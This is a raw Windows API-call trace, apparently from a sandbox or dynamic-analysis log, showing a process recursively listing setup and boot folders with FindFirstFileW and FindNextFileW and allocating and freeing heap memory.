	[0061.185] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.185] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.186] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.186] FindClose (in: hFindFile=0x5e07f0 | out: hFindFile=0x5e07f0) returned 1
	[0061.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.186] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0061.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.186] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0730
	[0061.186] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.186] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.186] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.187] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.187] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.187] FindClose (in: hFindFile=0x5e0730 | out: hFindFile=0x5e0730) returned 1
	[0061.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.187] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0061.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.187] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0770
	[0061.187] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.187] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.188] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.188] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.188] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.188] FindClose (in: hFindFile=0x5e0770 | out: hFindFile=0x5e0770) returned 1
	[0061.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.188] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0061.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.188] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e02b0
	[0061.188] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.189] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.189] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.189] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.189] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.189] FindClose (in: hFindFile=0x5e02b0 | out: hFindFile=0x5e02b0) returned 1
	[0061.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.189] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0061.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.189] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e02b0
	[0061.190] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.190] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0061.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.603] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0061.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.604] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0061.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.606] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0061.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c00060 | out: hHeap=0x4f0000) returned 1
	[0061.609] FindNextFileW (in: hFindFile=0x508bd8, lpFindFileData=0x325fcf8 | out: lpFindFileData=0x325fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0061.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.651] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0061.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.652] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0061.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.652] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0061.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.652] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0061.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.652] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0061.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.653] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0061.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.653] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0061.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.653] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0061.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.653] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0061.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
